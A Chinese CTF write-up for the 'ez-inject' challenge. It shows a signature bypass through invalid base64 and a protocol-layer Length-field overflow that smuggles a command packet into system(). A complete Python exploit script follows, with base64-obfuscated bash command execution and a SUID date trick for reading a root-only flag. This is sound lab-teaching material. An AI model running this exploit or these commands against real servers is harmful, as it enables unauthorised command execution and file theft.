【CTF】【ez-inject】通过协议层Length字段的溢出进行注入

参考文章:https://fushuling.com/index.php/2025/07/14/mocsctf2025-ez-writeez-injection/

进入题目,发现签名验证失败

查看源码,可以发现,验证签名的逻辑其实就是检查请求头中的 X-Signature字段,将字段内容进行base64解码,再与 Secret_key 进行比对。但是在base64解码X-Signature时,存在严重的逻辑漏洞,如果X-Signature中的内容无法进行base64编码,则会抛出异常,但抛出异常后,并未结束进程,而是继续往下执行,这就是我们绕过签名验证的机会。

那么如何让base64解码失败呢?首先看看base64编码所使用的字符:

大写字母A-Z(26个)

小写字母a-z(26个)

数字0-9(10个)

符号"+"和"/"(2个)

填充字符"="

Base64解码出错通常有以下几个原因:

1. 字符集问题

Base64只允许使用上述64个特定字符和填充符"="。

2. 长度问题

Base64编码后的字符串长度必须是4的倍数。如果输入的编码字符串长度不是4的倍数,解码时就会出错。

3. 填充符使用错误

Base64编码可能包含填充符"=",如果填充符使用不正确,也会导致解码失败。


所以我们直接抓包,在请求头中构造一个非法的base64字符,即可绕过签名认证,这里使用X-Signature:##

果然,在抛出异常后未结束进程,成功绕过

来到该页面,可以看到有三个跟时间相关的功能。查看源码,后端依次对应为function A B C。

但是在看这三个方法之前,我们先要了解一个知识点,即服务与服务之间的通信,都是通过二进制协议来传输的。比如web服务向PostgreSQL服务传递查询语句,都是封装在二进制协议中,该二进制协议报文结构如下:

1. Type (标识符) - 1 字节

  • 内容:'Q'

  • 含义:消息的类型。在 PostgreSQL 协议中,'Q' 代表这是一个 "Simple Query"(简单查询) 消息。它告诉接收方(服务器):"嘿,后面跟着一段纯文本 SQL 语句,请执行它。"

2. Length (长度) - 4 字节

  • 内容:00 00 00 17(十六进制)

  • 含义:表示整个消息的长度(通常包括长度字段本身,但不包括类型标识符 'Q')。

  • 计算:十六进制的 17 等于十进制的 23。

这意味着从"长度"这 4 个字节开始,后面一共还有 23 个字节的数据。

3. Value (数据内容) - 变长

  • 内容:"SELECT ..."

  • 含义:实际承载的负载数据(Payload)。

细节:对于 'Q' 类型的消息,这里存放的是以空字符(\0)结尾的 SQL 查询字符串。


查看源码,ABC三个Function都将data构造成了二进制协议格式,首先是一位标识符(A/B/C),再使用了pack函数,将数据打包成二进制字符串,参数n表示无符号短整型(16位,大端字节序),strlen函数获取command长度,最后将要执行的命令拼接在最后面。这正好与上面讲的二进制协议报文结构一致

随后将构造好的二进制流传递给execute.php

在execute.php中,先解析二进制流,提取出完整的command
1.循环条件

php 复制代码
while ($offset + 3 <= strlen($input))

这里的while循环,作用是只要剩余的数据长度还够读出一个"头部"(1字节类型 + 2字节长度 = 3字节),就继续解析。这很重要,为后续漏洞利用做铺垫

2.提取类型 (Type)

php 复制代码
$type = $input[$offset];

读取当前位置的第 1 个字节。这通常代表指令的类别(这里就是 A/B/C, 代表三个时间操作Function)

3.解析长度 (Length)

php 复制代码
$length = unpack('n', substr($input, $offset + 1, 2))[1];
  • substr(..., 1, 2):跳过类型字节,取出接下来的 2 个字节。

  • unpack('n', ...):这是核心。n 代表 大端序(Big-Endian)无符号短整型(16位)。它把这两个二进制字节转成我们看得懂的数字(0-65535)。

  • 结论: 这行代码告诉程序:"接下来的指令内容具体有多少个字节"。

4. 提取内容 (Command)

php 复制代码
$command = substr($input, $offset + 3, $length);

根据刚才算出的 $length,从头部之后的位置精准截取对应长度的字符串。这就是实际的Command。

5. 移动指针 (Offset Update)

php 复制代码
$offset += 3 + $length;

将游标向前跳过"已读完"的部分(3字节头部 + 数据长度),准备解析下一个包。

如果传入的Function不是A也不是B,则会报错退出。如果是B,则先判断传入的日期是否合法,不合法则报错退出;合法,则直接使用system执行date -d

分析到这里,我们看到出现了疑似注入点system函数。B方法传入的日期虽然可控,但是会先检查传入值的合法性。只有标头为A,才会直接执行。但A方法的command又写死了,不可控,这道题好像又无解了?

事实上,CVE-2024-27304的漏洞原理,可以利用于此,是源于Paul Gerste在DEF CON 32上分享的议题,关于协议层的sql注入:

https://www.youtube.com/watch?v=Tfg1B8u1yvE

所以我们再来看这个二进制协议的结构,使用n代码,即16位无符号整数:

1. "16位" (16-bit) ------ 容器的大小

在计算机世界里,"位"(bit)是最小的单位,只能是 0 或 1。

  • 16位 意味着计算机分配了 16个连续的开关(0或1)来存储这一个数字。

  • 就像一个有 16 个格子的柜子,每个格子只能放 0 或 1。

2. "无符号" (Unsigned) ------ 只有正数

  • 有符号 (Signed):第一位通常用来表示正负号(0是正,1是负),所以剩下的位才用来表示数值。
  • 无符号 (Unsigned):不预留符号位。所有的 16 位全部用来表示数值的大小。这意味着它不能表示负数,只能表示 0 和正整数。

3. "整数" (Integer) ------ 没有小数点

它只能存储像 1, 100, 5000 这样的整数,不能存储 3.14 或 0.5。


所以这个二进制协议流是有长度限制的,即 216=655362^{16} = 65536216=65536,转换为16进制最大值即为FFFF。那么如果我们发送一个超过长度限制的报文,会怎样呢?

这里我们先用题目的源码,在本地测试一下。

首先我们发送一个正常的报文,再使用wireshark抓包。

因为我们要查看index.php向execute.php发送的二进制协议流,所以我们要抓取服务端的loopback环回接口,原因如下,以我当前的实验环境为例:

我的网络架构:

bash 复制代码
Windows浏览器 <---> Ubuntu虚拟机(ens33) <---> index.php -> execute.php
                              ↑
                        虚拟网卡(VMnet8/NAT)

当我们在index.php提交一个post表单后,数据包传递过程为:


第一段:Windows浏览器 → index.php

方向:Windows物理机 → Ubuntu虚拟机

路径

  1. Windows端

    • 浏览器发送POST请求到Ubuntu的IP地址(如 http://192.168.x.x:9000/index.php
    • 先到Windows的 虚拟网卡(VMnet8,NAT模式)
    • 通过虚拟网卡流出
  2. Ubuntu端

    • ens33(或eth0)接收数据包
    • 交给PHP内置服务器/Apache/Nginx处理

总结:Windows→VMnet8→ens33→PHP服务


第二段:index.php → execute.php

方向:Ubuntu虚拟机内部

这取决于PHP服务监听的地址

情况1:监听127.0.0.1(最常见)
bash 复制代码
php -S 127.0.0.1:9000
# 或
Listen 127.0.0.1:9000

路径

  • 完全走 loopback接口(lo)
  • 不经过物理网卡ens33
情况2:监听0.0.0.0或内网IP
bash 复制代码
php -S 0.0.0.0:9000
# 或
Listen 0.0.0.0:9000

路径

  • 可能会走 ens33
  • 取决于具体的路由和绑定配置

第三段:execute.php → index.php → Windows浏览器

方向:Ubuntu虚拟机 → Windows物理机

路径

  • execute.php处理完成后返回响应
  • 响应先到Ubuntu的ens33
  • 通过虚拟网卡VMnet8
  • 到达Windows浏览器

综上所述,我们先在Windows中向index.php提交表单

随后在Linux下运行wireshark,抓取loopback网卡,并直接输入筛选条件http.request.uri contains "execute.php"

在此我们就能看到,index拿到我们提交的日期后,通过pack函数打包后的结果

bash 复制代码
Data: 42000a323032362d30322d3139

42是B的十六进制,代表了这次协议的标志B,十六进制中的a表示十进制的10,所以000a代表了这次请求载荷的长度是10,后面的323032362d30322d3139就是实际载荷2026-02-19

如果我们在日期后面随便再加1个值,会发现Length字段变为000b,也就是11

那么已知这里的长度字段最大值为ffff,如果超过这个值会怎样呢?我们将data写入65536个A

随后发现,Length字段通过截取后变为了0000

然而通过查看后端逻辑,可以发现,后端从何处开始截取载荷,正是取决于Length字段。如果Length为10,则从Length字段后开始,向后截取10位作为载荷。那么现在既然我们可以控制Length字段,让它随意截取,那么我们构造一个如下payload:

标头 长度 数据 标头 长度 数据
字符 B 10 2026-02-19 A 6 whamiAAA(适当数量的A)......
十六进制 42 000a 323032362d30322d3139 41 0006 7768616d69414141......

通过在2026-02-19后添加一个合法的标头为A的二进制协议数据(因为标头为A后面的命令会直接放入system执行),并放入我们要执行的命令,随后在后面添加填充字符,使长度溢出后截断,刚好留下A标头以及后面的数据,此时由于while循环,会继续按着类似的逻辑解析下一个二进制协议,直到整个请求解析结束,于是我们构造的A标头中的命令就被执行了。

最终脚本如下:

python 复制代码
import http.client
import struct
import gzip
import io
import base64


# 构造头部用到的签名
x_signature = "##"


def build_packet(command: str) -> str:
    prefix = b"A"
    length = struct.pack(">H", len(command))
    payload = command.encode()
    full_packet = prefix + length + payload
    return full_packet.hex()


# command2execute = "find / -perm -u=s -type f 2>/dev/null"
# command2execute = "date -f /f* 2>&1"
# command2execute = "cat /f* 2>&1"
#command2execute = "ls -al /"
command2execute = "whoami"


command = (
    "bash -c '{echo,"
    + base64.b64encode(command2execute.encode()).decode()
    + "}|{base64,-d}|{bash,-i}'"
)
HexCommand = build_packet(command)
# print(HexCommand)

hex_part = bytes.fromhex(HexCommand)
prefix = "function=B&date=2012-12-11"
prefix_bytes = prefix.encode()

total_length = 65536

filler_len = total_length - len(hex_part)

# 构造请求体:前缀 + 协议包 + 填充
body = prefix_bytes + hex_part + b"A" * filler_len

# target_url = "localhost:9999"
target_url = "192.168.233.142"

# 构造 headers
headers = {
    "Host": target_url,
    "X-Signature": x_signature,
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate, br",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": target_url,
    "Referer": target_url,
    "Upgrade-Insecure-Requests": "1",
    "Sec-Fetch-Dest": "document",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-Site": "same-origin",
    "Sec-Fetch-User": "?1",
    "Priority": "u=0, i",
    "Connection": "close",
    "Content-Length": str(len(body)),
}

# 发起请求
conn = http.client.HTTPConnection(target_url)
conn.request("POST", "/", body=body, headers=headers)

# 读取响应
res = conn.getresponse()
print(f"Status: {res.status}")
# print(res.read().decode(errors="ignore"))
raw_data = res.read()
try:
    with gzip.GzipFile(fileobj=io.BytesIO(raw_data)) as f:
        decompressed_data = f.read()
    text = decompressed_data.decode("utf-8", errors="ignore")
    print(text)
except Exception as e:
    print(f"解压失败: {e}")
    print(raw_data)

这道题的flag为root只读,所以直接cat /flag还不行,所以用find / -perm -u=s -type f 2>/dev/null查一下suid,可以发现date存在suid提权的可能,但直接使用date -f /f* 在页面上其实是看不到输出的,因为代码逻辑其实是读取了缓冲区的结果进行输出,错误信息(我们的date -f执行得到的就是错误信息)通常会输出到标准错误流(stderr)中,而不会写入到标准输出流(stdout)中。因此要想在页面上看到输出,我们需要把错误信息也输出到缓冲区,最后能打通的payload其实是date -f /f* 2>&1

总结一下,这道题通过溢出Length字段,从而控制二进制协议报文长度,从而截取报文,留下我们想要的内容,实现注入

相关推荐
Chockmans3 小时前
春秋云境CVE-2018-18784
网络安全·春秋云境·cve-2018-18784·zzcms
枷锁—sha3 小时前
【SRC】SSRF (服务端请求伪造) 专项挖掘与实战笔记
数据库·笔记·安全·网络安全
麦麦大数据3 小时前
F065_基于机器学习的KDD CUP 99网络入侵检测系统实战
网络·人工智能·机器学习·网络安全·入侵检测
The_Uniform_C@t214 小时前
PWN | 对CTF WIKI的复现+再学习 (第八期)
网络·学习·网络安全·二进制
unable code19 小时前
流量包取证-大流量分析
网络安全·ctf·misc·1024程序员节·流量包取证
天荒地老笑话么1 天前
Bridged 下访问宿主机服务:端口策略与防火墙
网络安全
介一安全1 天前
BurpSuite 插件 FastjsonScan 使用和手动验证
测试工具·网络安全·安全性测试·安全靶场
grrrr_11 天前
SHCTF 3rd - [WEB]部分writeup
web安全·网络安全·shctf
枷锁—sha2 天前
【CTFshow-pwn系列】03_栈溢出【pwn 048】详解:Ret2Libc 之 Puts 泄露
网络·安全·网络安全